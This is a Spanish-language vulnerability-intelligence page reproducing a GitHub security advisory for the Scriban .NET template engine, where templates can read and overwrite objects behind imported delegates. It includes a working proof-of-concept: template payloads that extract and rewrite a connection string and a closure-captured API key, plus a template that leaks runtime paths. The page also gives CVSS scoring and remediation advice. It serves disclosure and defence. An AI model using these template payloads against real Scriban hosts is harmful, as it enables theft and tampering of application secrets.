llamaCVEVulnerability Intelligence
/
Advisory · GitHub · NuGet · Scriban

GHSA-HVR4-4P37-494F

Los valores de función exponen sus componentes internos de .NET: una plantilla puede leer y escribir el objeto (o cierre) detrás de cualquier delegado importado, y acceder a objetos System.Type/Assembly desde las funciones integradas

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.4
Alta
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición28 dDesde la divulgación, 24 oct 2026, 3:35 a. m.
Detección26 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Ojo con los rangos de versión, son traicioneros.Saqué la lupa: aquí hay algo que investigar.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 7.5.2
Monitoreo
Detectada +1
24 oct 26
20 nov 26
21 nov 26
24 oct 26
31 oct 26
7 nov 26
14 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-HVR4-4P37-494F divulgada · CVSS 7.4 (GitHub)
Remediación Parche 7.5.2 Scriban · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub

Severidad: Alta — CVSS 3.1 7.4 `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N`
- AV:N / PR:N / UI:N: el atacante solo necesita enviar una plantilla.
- AC:H: la variante de alto impacto requiere que el host haya importado un delegado cuyo `Target` contenga estado, es decir, `ScriptObject.Import(name, Delegate)` con un delegado de método de instancia (`new Func<…>(service.Method)`) o una lambda que capture variables locales. Esta es la forma documentada de exponer una función (scriptobject.md, «Via `ScriptObject.Import(member, Delegate)`»), y las lambdas sobre servicios o configuración son comunes, pero se trata de una condición del host fuera del control del atacante. Si los mantenedores consideran que esa configuración es la norma, AC:L daría 9.1.
- C:H / I:H: la plantilla obtiene el destino del delegado con acceso de lectura y escritura por reflexión a sus propiedades y campos públicos, y recursivamente a todo objeto alcanzable desde ellos (cadenas de conexión, claves de API, indicadores de autenticación, estado de servicios). Las escrituras persisten en el host después de que `Render` retorna.
- Sin ningún delegado importado por el host (variante B), el impacto se limita a la divulgación de información: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N` (5.3).

Paquetes: NuGet `Scriban`, `Scriban.Signed`
Versiones afectadas: <= 7.5.1 (verificado en 7.5.1 = master `eb8d441`). No se comprobaron versiones anteriores.
Versiones corregidas: 7.5.2

Descripción

La documentación de safe-runtime define el límite de exposición así: «las plantillas solo pueden acceder a las funciones integradas más los objetos, miembros y funciones que su aplicación exponga explícitamente». Un host que expone una *función* no espera que la plantilla reciba el objeto al que está vinculada dicha función.

`TemplateContext.GetMemberAccessor` (`src/Scriban/TemplateContext.cs` ~L994) devuelve un `TypedObjectAccessor` basado en reflexión para los propios objetos envoltorio de las funciones. Por tanto, sus miembros públicos se vuelven legibles desde la plantilla:

  • `DelegateCustomFunction.Target` (`src/Scriban/Runtime/DelegateCustomFunction.cs` ~L39): el destino del delegado, es decir, la instancia del servicio para un método de instancia, o el cierre generado por el compilador (display class) para una lambda. Los campos de la display class son públicos, por lo que las variables locales capturadas son legibles y escribibles.
  • `DynamicCustomFunction.Method` (`src/Scriban/Runtime/DynamicCustomFunction.cs` ~L34, campo público de solo lectura): un `MethodInfo`; `ReturnType` (~L178): un `System.Type`; `Tag` (~L183).

Acceder a un miembro de una variable de función normalmente invoca la función, por lo que `fn.target` no funciona directamente. Sin embargo, `array.map <list> "<member>"` (`src/Scriban/Functions/ArrayFunctions.cs` ~L646) lee el miembro indicado de cada elemento sin procesar, así que `[@fn] | array.map "target"` devuelve el objeto .NET sin procesar. A partir de ahí se aplican las reglas habituales de los objetos reflejados (getters públicos legibles, setters y campos públicos escribibles).

Solo `ScriptObject.Import(name, Delegate)` (`ScriptObjectExtensions.cs` ~L390) crea una función con `Target` no nulo; `Import(object)` e `Import(Type)` importan únicamente métodos estáticos. La ruta `Method`/`ReturnType` funciona en todas las funciones integradas.

Prueba de concepto

A. El host importa dos funciones y nada más
using Scriban;
using Scriban.Runtime;

public class GreetingService
{
    public string ConnectionString { get; set; } = "Server=db;Password=hunter2";
    public string Greet(string name) => "Hello " + name;
}

var ctx = new TemplateContext();
var so = new ScriptObject();
var svc = new GreetingService();
so.Import("greet", new Func<string, string>(svc.Greet));
string apiKey = "sk-closure-captured-key";
so.Import("sign", new Func<string, string>(s => s + ":" + apiKey.Length));
ctx.PushGlobal(so);

var result = Template.Parse(text).Render(ctx);
result += $"\n[host after render] svc.ConnectionString={svc.ConnectionString} apiKey={apiKey}";

Plantilla:

{{ greet "bob" }}
svc={{ t = ([@greet] | array.map "target")[0]; t }}
conn={{ t.connection_string }}
write={{ t.connection_string = "Server=evil"; t.connection_string }}
closure={{ c = ([@sign] | array.map "target")[0]; c }}
key={{ c.api_key }}
overwrite={{ c.api_key = "x"; sign "a" }}
method={{ m = ([@string.upcase] | array.map "method")[0]; m.declaring_type.assembly.location }}

Salida:

Hello bob
svc=GreetingService
conn=Server=db;Password=hunter2
write=Server=evil
closure=Program+<>c__DisplayClass0_1
key=sk-closure-captured-key
overwrite=a:1
method=<application directory>\Scriban.dll
[host after render] svc.ConnectionString=Server=evil apiKey=x

Se leyó y sobrescribió la propiedad del servicio, y la variable local capturada por la lambda, `apiKey`, se leyó y sobrescribió en el host.

B. El host no expone nada
var ctx = new TemplateContext();
ctx.PushGlobal(new ScriptObject());
Template.Parse(text).Render(ctx);
{{ t = ([@string.upcase] | array.map 'return_type')[0]; t.assembly.full_name }}; {{ t.module.fully_qualified_name }}

Salida: `System.Private.CoreLib, Version=10.0.0.0, …; C:\Program Files\dotnet\shared\Microsoft.NETCore.App\10.0.13\System.Private.CoreLib.dll`. Lo mismo ocurre con `@date.now`. La plantilla obtiene objetos `System.Type`, `Assembly` y `MethodInfo` (rutas de instalación, versión exacta del runtime, enumeración de tipos mediante propiedades reflejadas). Los métodos de estos objetos no son invocables a través del accessor; no se encontró ninguna ruta de ejecución de código.

Impacto

  • Hosts que importan delegados de método de instancia o lambdas con captura: una plantilla puede leer secretos retenidos por el objeto destino o por el cierre, y cualquier propiedad pública alcanzable desde ellos, y puede sobrescribir propiedades y campos públicos (incluidas las variables locales capturadas) en el proceso host en ejecución. Los cambios persisten entre renderizados y, en servicios compartidos, entre usuarios o inquilinos.
  • Todos los hosts: una plantilla puede alcanzar objetos de reflexión de los ensamblados del runtime y de Scriban, lo que revela rutas de despliegue y versiones del runtime.

Remediación sugerida

  • En `GetMemberAccessor`, devolver un accessor vacío (p. ej., `NullAccessor`) para las instancias de `IScriptCustomFunction`, de modo que los valores de función no expongan miembros.
  • Como mínimo, ocultar `Target`, `Method`, `ReturnType` y `Tag` del acceso a miembros desde plantillas (hacerlos no públicos o filtrarlos en el accessor).
  • Revisar otras funciones integradas que lean un miembro por nombre desde elementos sin procesar (`array.map`, `array.sort`, `array.filter` y argumentos de miembro de tipo `where`) por si presentan la misma ruta de acceso a objetos sin procesar.

Referencias: avisos previos relacionados con el acceso a miembros por reflexión: GHSA-7jvp-hj45-2f2m, GHSA-5wr9-m6jw-xx44.

---
🤖 Generado con Claude Code https://claude.com/claude-code

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
7.1/ 10Alto
Vector 7.1 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
Scriban · Scriban.Signed≤ 7.5.1
7.5.1
7.6.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
nugetScriban
Corregida 7.5.2 0 d 7.6.1 no afectada
nugetScriban.Signed
Corregida 7.5.2 0 d 7.6.1 no afectada
Versiones corregidas7.5.2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/scriban/scriban/security/advisories/GHSA-hvr4-4p37-494f

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.